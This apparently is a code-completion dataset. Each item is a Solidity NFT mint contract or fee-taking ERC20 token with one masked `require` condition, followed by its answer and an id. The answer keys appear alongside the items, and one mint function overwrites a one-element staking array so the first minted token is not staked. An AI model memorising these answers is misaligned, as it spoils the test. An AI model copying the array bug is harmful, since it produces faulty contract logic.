* - `_state` bool value
*/
function setMerkle(uint256 _saleId, bytes32 _merkleRoot) public onlyOwner {
}
// owner wallet(55%), community wallet(45%)
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function tokensOfOwner(address _owner)
external
view
returns (uint256[] memory ownerTokens)
{
}
function setWallets(address _wallet, bool _payWallet) external onlyOwner {
}
/**
* Sets the price for mint
* To be used for Phase 3 of the mint
*/
function setPrice(uint256 _price) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* Staking Contract addresse setter
*/
function setAGStake(address _agStake) external onlyOwner {
}
}
| MerkleProof.verify(_merkleProof,whiteListMerkleI,keccak256(abi.encodePacked(msg.sender))),"Invalid Merkle Proof." | 156,350 | MerkleProof.verify(_merkleProof,whiteListMerkleI,keccak256(abi.encodePacked(msg.sender))) |
"One pass per wallet" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721A.sol";
import "./interfaces/IAlphaGangGenerative.sol";
contract AlphaGangGenerative is ERC721A, Ownable {
string public baseURI;
uint256 public constant PRICE_WHALE = 49000000000000000; // 0.049 ether
uint256 public constant PRICE = 69000000000000000; // 0.069 ether
uint256 public price = PRICE; // 0.069 ether
uint256 public constant SUPPLY = 5555;
uint256 public maxSupply = 5777;
address communityWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
address payWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
// Phase 1: Only WL and OG, Supply 999
// Phase 2: Only WL and OG, Supply 1999
// Phase 3: All, Supply 2555
uint8 public mintPhase;
mapping(address => uint256) public walletMints;
bool public revealed;
bytes32 whiteListMerkleI;
bytes32 whiteListMerkleII;
bytes32 waitListMerkle;
constructor(
string memory _initBaseURI,
bytes32 _wlMRI,
bytes32 _wlMRII,
bytes32 _w8lMR
) ERC721A("Alpha Gang Generative", "AGG") {
}
modifier mintCompliance(uint256 _mintAmount, uint8 mintType) {
}
function mintActive(uint8 mintType) public view returns (bool active) {
}
function ogMint(uint256 _mintAmount, uint256 _stakeCount)
external
payable
mintCompliance(_mintAmount, 1)
{
}
/**
* @dev Function for white-listed members to mint a token
*
* Note having 2 separate functions will increase deployment cost but marginaly decrease minting cost
*/
function mintWhiteListI(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 1)
{
}
/**
* @dev Function for white-listed members to mint two tokens
*
*/
function mintWhiteListII(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(2, 1)
{
require(msg.value >= price * 2, "Insufficient funds!");
require(<FILL_ME>)
require(
MerkleProof.verify(
_merkleProof,
whiteListMerkleII,
keccak256(abi.encodePacked(msg.sender)) // leaf
),
"Invalid Merkle Proof."
);
walletMints[msg.sender]++;
_mint(msg.sender, 2);
// if mint and stake call {stake} on {AGStakeFull}
if (_stake) {
uint256[] memory _tokensToStake = new uint256[](1);
_tokensToStake[0] = _nextTokenId() - 1;
_tokensToStake[0] = _nextTokenId() - 2;
AGStake.stakeG2(_tokensToStake);
}
}
/**
* @dev Function for wait-listed members to mint a token
*
*/
function mintWaitList(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 2)
{
}
function mintPublic(bool _stake) external payable mintCompliance(1, 0) {
}
/**
* @dev Minting for Community wallet and team
*
* This has additional 222 amount that it can tap into
* Only for owners use
*/
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function setRevealed() public onlyOwner {
}
/**
* @dev sets a state of mint
*
* Requirements:
*
* - `_state` should be in: [0, 1, 2, 3, 4]
* - 0 - mint not active, default
* - 1 - sets mint to Phase 1
* - 2 - sets mint to Phase 2
* - 3 - sets mint to Phase 3
* - 4 - sets mint to Public Mint
* - mint is not active by default
*/
function setSale(uint8 _state) public onlyOwner {
}
/**
* @dev Sets a Merkle proof() for a sale
*
* Requirements:
*
* - `_saleId` must be in: [0, 1, 2]
* - 0 - sets a proof for { mintWhiteListI }
* - 1 - sets a proof for { mintWhiteListII }
* - 2 - sets a proof for { mintWaitList }
* - `_state` bool value
*/
function setMerkle(uint256 _saleId, bytes32 _merkleRoot) public onlyOwner {
}
// owner wallet(55%), community wallet(45%)
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function tokensOfOwner(address _owner)
external
view
returns (uint256[] memory ownerTokens)
{
}
function setWallets(address _wallet, bool _payWallet) external onlyOwner {
}
/**
* Sets the price for mint
* To be used for Phase 3 of the mint
*/
function setPrice(uint256 _price) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* Staking Contract addresse setter
*/
function setAGStake(address _agStake) external onlyOwner {
}
}
| walletMints[msg.sender]<1,"One pass per wallet" | 156,350 | walletMints[msg.sender]<1 |
"Invalid Merkle Proof." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721A.sol";
import "./interfaces/IAlphaGangGenerative.sol";
contract AlphaGangGenerative is ERC721A, Ownable {
string public baseURI;
uint256 public constant PRICE_WHALE = 49000000000000000; // 0.049 ether
uint256 public constant PRICE = 69000000000000000; // 0.069 ether
uint256 public price = PRICE; // 0.069 ether
uint256 public constant SUPPLY = 5555;
uint256 public maxSupply = 5777;
address communityWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
address payWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
// Phase 1: Only WL and OG, Supply 999
// Phase 2: Only WL and OG, Supply 1999
// Phase 3: All, Supply 2555
uint8 public mintPhase;
mapping(address => uint256) public walletMints;
bool public revealed;
bytes32 whiteListMerkleI;
bytes32 whiteListMerkleII;
bytes32 waitListMerkle;
constructor(
string memory _initBaseURI,
bytes32 _wlMRI,
bytes32 _wlMRII,
bytes32 _w8lMR
) ERC721A("Alpha Gang Generative", "AGG") {
}
modifier mintCompliance(uint256 _mintAmount, uint8 mintType) {
}
function mintActive(uint8 mintType) public view returns (bool active) {
}
function ogMint(uint256 _mintAmount, uint256 _stakeCount)
external
payable
mintCompliance(_mintAmount, 1)
{
}
/**
* @dev Function for white-listed members to mint a token
*
* Note having 2 separate functions will increase deployment cost but marginaly decrease minting cost
*/
function mintWhiteListI(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 1)
{
}
/**
* @dev Function for white-listed members to mint two tokens
*
*/
function mintWhiteListII(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(2, 1)
{
require(msg.value >= price * 2, "Insufficient funds!");
require(walletMints[msg.sender] < 1, "One pass per wallet");
require(<FILL_ME>)
walletMints[msg.sender]++;
_mint(msg.sender, 2);
// if mint and stake call {stake} on {AGStakeFull}
if (_stake) {
uint256[] memory _tokensToStake = new uint256[](1);
_tokensToStake[0] = _nextTokenId() - 1;
_tokensToStake[0] = _nextTokenId() - 2;
AGStake.stakeG2(_tokensToStake);
}
}
/**
* @dev Function for wait-listed members to mint a token
*
*/
function mintWaitList(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 2)
{
}
function mintPublic(bool _stake) external payable mintCompliance(1, 0) {
}
/**
* @dev Minting for Community wallet and team
*
* This has additional 222 amount that it can tap into
* Only for owners use
*/
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function setRevealed() public onlyOwner {
}
/**
* @dev sets a state of mint
*
* Requirements:
*
* - `_state` should be in: [0, 1, 2, 3, 4]
* - 0 - mint not active, default
* - 1 - sets mint to Phase 1
* - 2 - sets mint to Phase 2
* - 3 - sets mint to Phase 3
* - 4 - sets mint to Public Mint
* - mint is not active by default
*/
function setSale(uint8 _state) public onlyOwner {
}
/**
* @dev Sets a Merkle proof() for a sale
*
* Requirements:
*
* - `_saleId` must be in: [0, 1, 2]
* - 0 - sets a proof for { mintWhiteListI }
* - 1 - sets a proof for { mintWhiteListII }
* - 2 - sets a proof for { mintWaitList }
* - `_state` bool value
*/
function setMerkle(uint256 _saleId, bytes32 _merkleRoot) public onlyOwner {
}
// owner wallet(55%), community wallet(45%)
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function tokensOfOwner(address _owner)
external
view
returns (uint256[] memory ownerTokens)
{
}
function setWallets(address _wallet, bool _payWallet) external onlyOwner {
}
/**
* Sets the price for mint
* To be used for Phase 3 of the mint
*/
function setPrice(uint256 _price) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* Staking Contract addresse setter
*/
function setAGStake(address _agStake) external onlyOwner {
}
}
| MerkleProof.verify(_merkleProof,whiteListMerkleII,keccak256(abi.encodePacked(msg.sender))),"Invalid Merkle Proof." | 156,350 | MerkleProof.verify(_merkleProof,whiteListMerkleII,keccak256(abi.encodePacked(msg.sender))) |
"Invalid Merkle Proof." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721A.sol";
import "./interfaces/IAlphaGangGenerative.sol";
contract AlphaGangGenerative is ERC721A, Ownable {
string public baseURI;
uint256 public constant PRICE_WHALE = 49000000000000000; // 0.049 ether
uint256 public constant PRICE = 69000000000000000; // 0.069 ether
uint256 public price = PRICE; // 0.069 ether
uint256 public constant SUPPLY = 5555;
uint256 public maxSupply = 5777;
address communityWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
address payWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
// Phase 1: Only WL and OG, Supply 999
// Phase 2: Only WL and OG, Supply 1999
// Phase 3: All, Supply 2555
uint8 public mintPhase;
mapping(address => uint256) public walletMints;
bool public revealed;
bytes32 whiteListMerkleI;
bytes32 whiteListMerkleII;
bytes32 waitListMerkle;
constructor(
string memory _initBaseURI,
bytes32 _wlMRI,
bytes32 _wlMRII,
bytes32 _w8lMR
) ERC721A("Alpha Gang Generative", "AGG") {
}
modifier mintCompliance(uint256 _mintAmount, uint8 mintType) {
}
function mintActive(uint8 mintType) public view returns (bool active) {
}
function ogMint(uint256 _mintAmount, uint256 _stakeCount)
external
payable
mintCompliance(_mintAmount, 1)
{
}
/**
* @dev Function for white-listed members to mint a token
*
* Note having 2 separate functions will increase deployment cost but marginaly decrease minting cost
*/
function mintWhiteListI(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 1)
{
}
/**
* @dev Function for white-listed members to mint two tokens
*
*/
function mintWhiteListII(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(2, 1)
{
}
/**
* @dev Function for wait-listed members to mint a token
*
*/
function mintWaitList(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 2)
{
require(msg.value >= price, "Insufficient funds!");
require(walletMints[msg.sender] < 2, "One pass per wallet");
require(<FILL_ME>)
walletMints[msg.sender]++;
_mint(msg.sender, 1);
// if mint and stake call {stake} on {AGStakeFull}
if (_stake) {
uint256[] memory _tokensToStake = new uint256[](1);
_tokensToStake[0] = _nextTokenId() - 1;
AGStake.stakeG2(_tokensToStake);
}
}
function mintPublic(bool _stake) external payable mintCompliance(1, 0) {
}
/**
* @dev Minting for Community wallet and team
*
* This has additional 222 amount that it can tap into
* Only for owners use
*/
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function setRevealed() public onlyOwner {
}
/**
* @dev sets a state of mint
*
* Requirements:
*
* - `_state` should be in: [0, 1, 2, 3, 4]
* - 0 - mint not active, default
* - 1 - sets mint to Phase 1
* - 2 - sets mint to Phase 2
* - 3 - sets mint to Phase 3
* - 4 - sets mint to Public Mint
* - mint is not active by default
*/
function setSale(uint8 _state) public onlyOwner {
}
/**
* @dev Sets a Merkle proof() for a sale
*
* Requirements:
*
* - `_saleId` must be in: [0, 1, 2]
* - 0 - sets a proof for { mintWhiteListI }
* - 1 - sets a proof for { mintWhiteListII }
* - 2 - sets a proof for { mintWaitList }
* - `_state` bool value
*/
function setMerkle(uint256 _saleId, bytes32 _merkleRoot) public onlyOwner {
}
// owner wallet(55%), community wallet(45%)
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function tokensOfOwner(address _owner)
external
view
returns (uint256[] memory ownerTokens)
{
}
function setWallets(address _wallet, bool _payWallet) external onlyOwner {
}
/**
* Sets the price for mint
* To be used for Phase 3 of the mint
*/
function setPrice(uint256 _price) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* Staking Contract addresse setter
*/
function setAGStake(address _agStake) external onlyOwner {
}
}
| MerkleProof.verify(_merkleProof,waitListMerkle,keccak256(abi.encodePacked(msg.sender))),"Invalid Merkle Proof." | 156,350 | MerkleProof.verify(_merkleProof,waitListMerkle,keccak256(abi.encodePacked(msg.sender))) |
"Max reserves exhausted." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721A.sol";
import "./interfaces/IAlphaGangGenerative.sol";
contract AlphaGangGenerative is ERC721A, Ownable {
string public baseURI;
uint256 public constant PRICE_WHALE = 49000000000000000; // 0.049 ether
uint256 public constant PRICE = 69000000000000000; // 0.069 ether
uint256 public price = PRICE; // 0.069 ether
uint256 public constant SUPPLY = 5555;
uint256 public maxSupply = 5777;
address communityWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
address payWallet = 0x08180E4DE9746BC1b3402aDd7fd0E61C9C100881;
// Phase 1: Only WL and OG, Supply 999
// Phase 2: Only WL and OG, Supply 1999
// Phase 3: All, Supply 2555
uint8 public mintPhase;
mapping(address => uint256) public walletMints;
bool public revealed;
bytes32 whiteListMerkleI;
bytes32 whiteListMerkleII;
bytes32 waitListMerkle;
constructor(
string memory _initBaseURI,
bytes32 _wlMRI,
bytes32 _wlMRII,
bytes32 _w8lMR
) ERC721A("Alpha Gang Generative", "AGG") {
}
modifier mintCompliance(uint256 _mintAmount, uint8 mintType) {
}
function mintActive(uint8 mintType) public view returns (bool active) {
}
function ogMint(uint256 _mintAmount, uint256 _stakeCount)
external
payable
mintCompliance(_mintAmount, 1)
{
}
/**
* @dev Function for white-listed members to mint a token
*
* Note having 2 separate functions will increase deployment cost but marginaly decrease minting cost
*/
function mintWhiteListI(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 1)
{
}
/**
* @dev Function for white-listed members to mint two tokens
*
*/
function mintWhiteListII(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(2, 1)
{
}
/**
* @dev Function for wait-listed members to mint a token
*
*/
function mintWaitList(bytes32[] calldata _merkleProof, bool _stake)
external
payable
mintCompliance(1, 2)
{
}
function mintPublic(bool _stake) external payable mintCompliance(1, 0) {
}
/**
* @dev Minting for Community wallet and team
*
* This has additional 222 amount that it can tap into
* Only for owners use
*/
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
require(<FILL_ME>)
_mint(_receiver, _mintAmount);
}
function setRevealed() public onlyOwner {
}
/**
* @dev sets a state of mint
*
* Requirements:
*
* - `_state` should be in: [0, 1, 2, 3, 4]
* - 0 - mint not active, default
* - 1 - sets mint to Phase 1
* - 2 - sets mint to Phase 2
* - 3 - sets mint to Phase 3
* - 4 - sets mint to Public Mint
* - mint is not active by default
*/
function setSale(uint8 _state) public onlyOwner {
}
/**
* @dev Sets a Merkle proof() for a sale
*
* Requirements:
*
* - `_saleId` must be in: [0, 1, 2]
* - 0 - sets a proof for { mintWhiteListI }
* - 1 - sets a proof for { mintWhiteListII }
* - 2 - sets a proof for { mintWaitList }
* - `_state` bool value
*/
function setMerkle(uint256 _saleId, bytes32 _merkleRoot) public onlyOwner {
}
// owner wallet(55%), community wallet(45%)
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function tokensOfOwner(address _owner)
external
view
returns (uint256[] memory ownerTokens)
{
}
function setWallets(address _wallet, bool _payWallet) external onlyOwner {
}
/**
* Sets the price for mint
* To be used for Phase 3 of the mint
*/
function setPrice(uint256 _price) external onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
}
/**
* Staking Contract addresse setter
*/
function setAGStake(address _agStake) external onlyOwner {
}
}
| (totalSupply()+_mintAmount)<=maxSupply,"Max reserves exhausted." | 156,350 | (totalSupply()+_mintAmount)<=maxSupply |
"TOKEN: Balance exceeds wallet size!" | /**
A Powerful Free-To-Use Buy Bot powered by Grok Ai Technology!
Contact: [email protected]
Marketing: [email protected]
GrokTech: https://t.me/GrokBuyTech
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function factory() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function WETH() external pure returns (address);
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract GrokBuyTech is Context, Ownable, IERC20 {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
string private constant _name = unicode"Grok Buy Tech";
string private constant _symbol = unicode"GROKT";
uint8 private constant _decimals = 9;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9; // total supply
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
event MaxTxAmountUpdated(uint256 _maxTranxLimitAmount);
bool private _tradingActive = false;
bool private _inSwap = false;
bool private _swapEnabled = false;
uint256 private _mainFeeAmount = _sellTaxAmount;
uint256 private _previousMarketingFee = _feeMarket;
uint256 private _previousMainFee = _mainFeeAmount;
address public uniswapPair;
uint256 public _maxTranxLimitAmount = _tTotal * 30 / 1000; // 3%
uint256 public _maxWalletLimitAmount = _tTotal * 30 / 1000; // 3%
uint256 public _swapThreshold = _tTotal * 5 / 10000;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _taxTotalAmount;
uint256 private _buyFeeForMarket = 0;
uint256 private _buyTaxAmount = 1;
uint256 private _sellFeeForMarket = 0;
uint256 private _feeMarket = _sellFeeForMarket;
uint256 private _sellTaxAmount = 1;
uint256 private denominator = 3;
modifier lockInSwap {
}
address payable public _feeWallet = payable(0x9EDe42729bd5458f1180c3AC3baa392760FbB1b4);
address payable public _devWallet = payable(0x9EDe42729bd5458f1180c3AC3baa392760FbB1b4);
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function totalSupply() public pure override returns (uint256) {
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function checkAllowance(address sender, address recipient) private {
}
function addLiquidityETH() external payable onlyOwner {
}
function openTrading() external onlyOwner {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function _getTValues(
uint256 tAmount,
uint256 teamFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _takeAllFee(uint256 tTeam) private {
}
function removeTax() private {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function sendAllETH(uint256 amount) private {
}
function _sendAllFeeTokens(uint256 rFee, uint256 tFee) private {
}
//set maximum transaction
function removeLimits() public onlyOwner {
}
function excludeMultiAccountsFromFee(address[] calldata accounts, bool excluded) public onlyOwner {
}
//set minimum tokens required to swap.
function SwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (
!_isExcludedFromFee[to] && !_isExcludedFromFee[from]
) {
//Trade start check
if (!_tradingActive) {
require(
from == owner(),
"TOKEN: This account cannot send tokens until trading is enabled"
);
}
require(
amount <= _maxTranxLimitAmount,
"TOKEN: Max Transaction Limit"
);
if(to != uniswapPair) {
require(<FILL_ME>)
}
uint256 contractTokenAmount = balanceOf(address(this));
bool canSwap = contractTokenAmount >= _swapThreshold;
if(contractTokenAmount >= _maxTranxLimitAmount) contractTokenAmount = _maxTranxLimitAmount;
if (canSwap &&
!_inSwap &&
_swapEnabled &&
from != uniswapPair &&
!_isExcludedFromFee[to] &&
!_isExcludedFromFee[from]
) {
swapBack(contractTokenAmount);
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {sendAllETH(ethBalance);}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to])
|| (from != uniswapPair && to != uniswapPair))
{
takeFee = false;
}
else {
if(from == uniswapPair && to != address(uniswapV2Router)) {
_feeMarket = _buyFeeForMarket;
_mainFeeAmount = _buyTaxAmount;
}
if (to == uniswapPair && from != address(uniswapV2Router)) {
_feeMarket = _sellFeeForMarket;
_mainFeeAmount = _sellTaxAmount;
}
}
_transferTokensStandard(from, to, amount, takeFee);
}
function swapBack(uint256 tokenAmount) private lockInSwap {
}
receive() external payable {
}
function _transferTokensStandard(
address sender,
address recipient,
uint256 amount,
bool setFee
) private {
}
function shouldExcluded(address sender, address recipient) internal view returns (bool) {
}
function _transferBasicTokens(
address sender,
address recipient,
uint256 tAmount
) private {
}
function refreshTax() private {
}
}
| balanceOf(to)+amount<_maxWalletLimitAmount,"TOKEN: Balance exceeds wallet size!" | 156,362 | balanceOf(to)+amount<_maxWalletLimitAmount |
"not eligible for mint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import './ERC721A.sol';
import './StartTokenIdHelper.sol';
import './MerkleProof.sol';
contract AstroBoyRedBoots is StartTokenIdHelper, ERC721A {
struct Config {
uint256 total;
uint256 count;
uint256 starttime;
uint256 endtime;
bytes32 root;
mapping(address => uint256) records;
}
mapping(uint256 => Config) public configs;
uint256 public index;
address public owner;
string public uri;
bool public paused;
uint256 public maxSupply = 1187;
modifier onlyOwner() {
}
constructor(string memory name, string memory symbol, string memory baseURI) StartTokenIdHelper(1) ERC721A(name, symbol) {
}
function freeMint(bytes32[] memory proof, uint32 limit, uint256 quantity) external {
require(totalSupply() + quantity <= maxSupply, "max supply exceeded");
require(!paused, "paused");
require(msg.sender.code.length == 0, "not allow");
require(<FILL_ME>)
require(block.timestamp >= configs[index].starttime, "not start");
require(block.timestamp < configs[index].endtime, "is over");
require(configs[index].count + quantity <= configs[index].total, "sold out");
require(configs[index].records[msg.sender] + quantity <= limit, "exceed the limit");
configs[index].count += quantity;
configs[index].records[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
function safeMint(address to, uint256 quantity) external onlyOwner {
}
function setConfig(uint256 idx, uint256 total, uint256 starttime, uint256 endtime, bytes32 root) external onlyOwner {
}
function setIndex(uint256 idx) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function check(uint256 idx, address addr, bytes32[] memory proof, uint32 limit) public view returns (bool) {
}
function queryRecords(uint256 idx, address addr) external view returns(uint256) {
}
function numberMinted(address addr) public view returns (uint256) {
}
function totalMinted() public view returns (uint256) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| check(index,msg.sender,proof,limit),"not eligible for mint" | 156,366 | check(index,msg.sender,proof,limit) |
"sold out" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import './ERC721A.sol';
import './StartTokenIdHelper.sol';
import './MerkleProof.sol';
contract AstroBoyRedBoots is StartTokenIdHelper, ERC721A {
struct Config {
uint256 total;
uint256 count;
uint256 starttime;
uint256 endtime;
bytes32 root;
mapping(address => uint256) records;
}
mapping(uint256 => Config) public configs;
uint256 public index;
address public owner;
string public uri;
bool public paused;
uint256 public maxSupply = 1187;
modifier onlyOwner() {
}
constructor(string memory name, string memory symbol, string memory baseURI) StartTokenIdHelper(1) ERC721A(name, symbol) {
}
function freeMint(bytes32[] memory proof, uint32 limit, uint256 quantity) external {
require(totalSupply() + quantity <= maxSupply, "max supply exceeded");
require(!paused, "paused");
require(msg.sender.code.length == 0, "not allow");
require(check(index, msg.sender, proof, limit), "not eligible for mint");
require(block.timestamp >= configs[index].starttime, "not start");
require(block.timestamp < configs[index].endtime, "is over");
require(<FILL_ME>)
require(configs[index].records[msg.sender] + quantity <= limit, "exceed the limit");
configs[index].count += quantity;
configs[index].records[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
function safeMint(address to, uint256 quantity) external onlyOwner {
}
function setConfig(uint256 idx, uint256 total, uint256 starttime, uint256 endtime, bytes32 root) external onlyOwner {
}
function setIndex(uint256 idx) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function check(uint256 idx, address addr, bytes32[] memory proof, uint32 limit) public view returns (bool) {
}
function queryRecords(uint256 idx, address addr) external view returns(uint256) {
}
function numberMinted(address addr) public view returns (uint256) {
}
function totalMinted() public view returns (uint256) {
}
function exists(uint256 tokenId) public view returns (bool) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| configs[index].count+quantity<=configs[index].total,"sold out" | 156,366 | configs[index].count+quantity<=configs[index].total |
"exceed the limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import './ERC721A.sol';
import './StartTokenIdHelper.sol';
import './MerkleProof.sol';
contract AstroBoyRedBoots is StartTokenIdHelper, ERC721A {
struct Config {
uint256 total;
uint256 count;
uint256 starttime;
uint256 endtime;
bytes32 root;
mapping(address => uint256) records;
}
mapping(uint256 => Config) public configs;
uint256 public index;
address public owner;
string public uri;
bool public paused;
uint256 public maxSupply = 1187;
modifier onlyOwner() {
}
constructor(string memory name, string memory symbol, string memory baseURI) StartTokenIdHelper(1) ERC721A(name, symbol) {
}
function freeMint(bytes32[] memory proof, uint32 limit, uint256 quantity) external {
require(totalSupply() + quantity <= maxSupply, "max supply exceeded");
require(!paused, "paused");
require(msg.sender.code.length == 0, "not allow");
require(check(index, msg.sender, proof, limit), "not eligible for mint");
require(block.timestamp >= configs[index].starttime, "not start");
require(block.timestamp < configs[index].endtime, "is over");
require(configs[index].count + quantity <= configs[index].total, "sold out");
require(<FILL_ME>)
configs[index].count += quantity;
configs[index].records[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
}
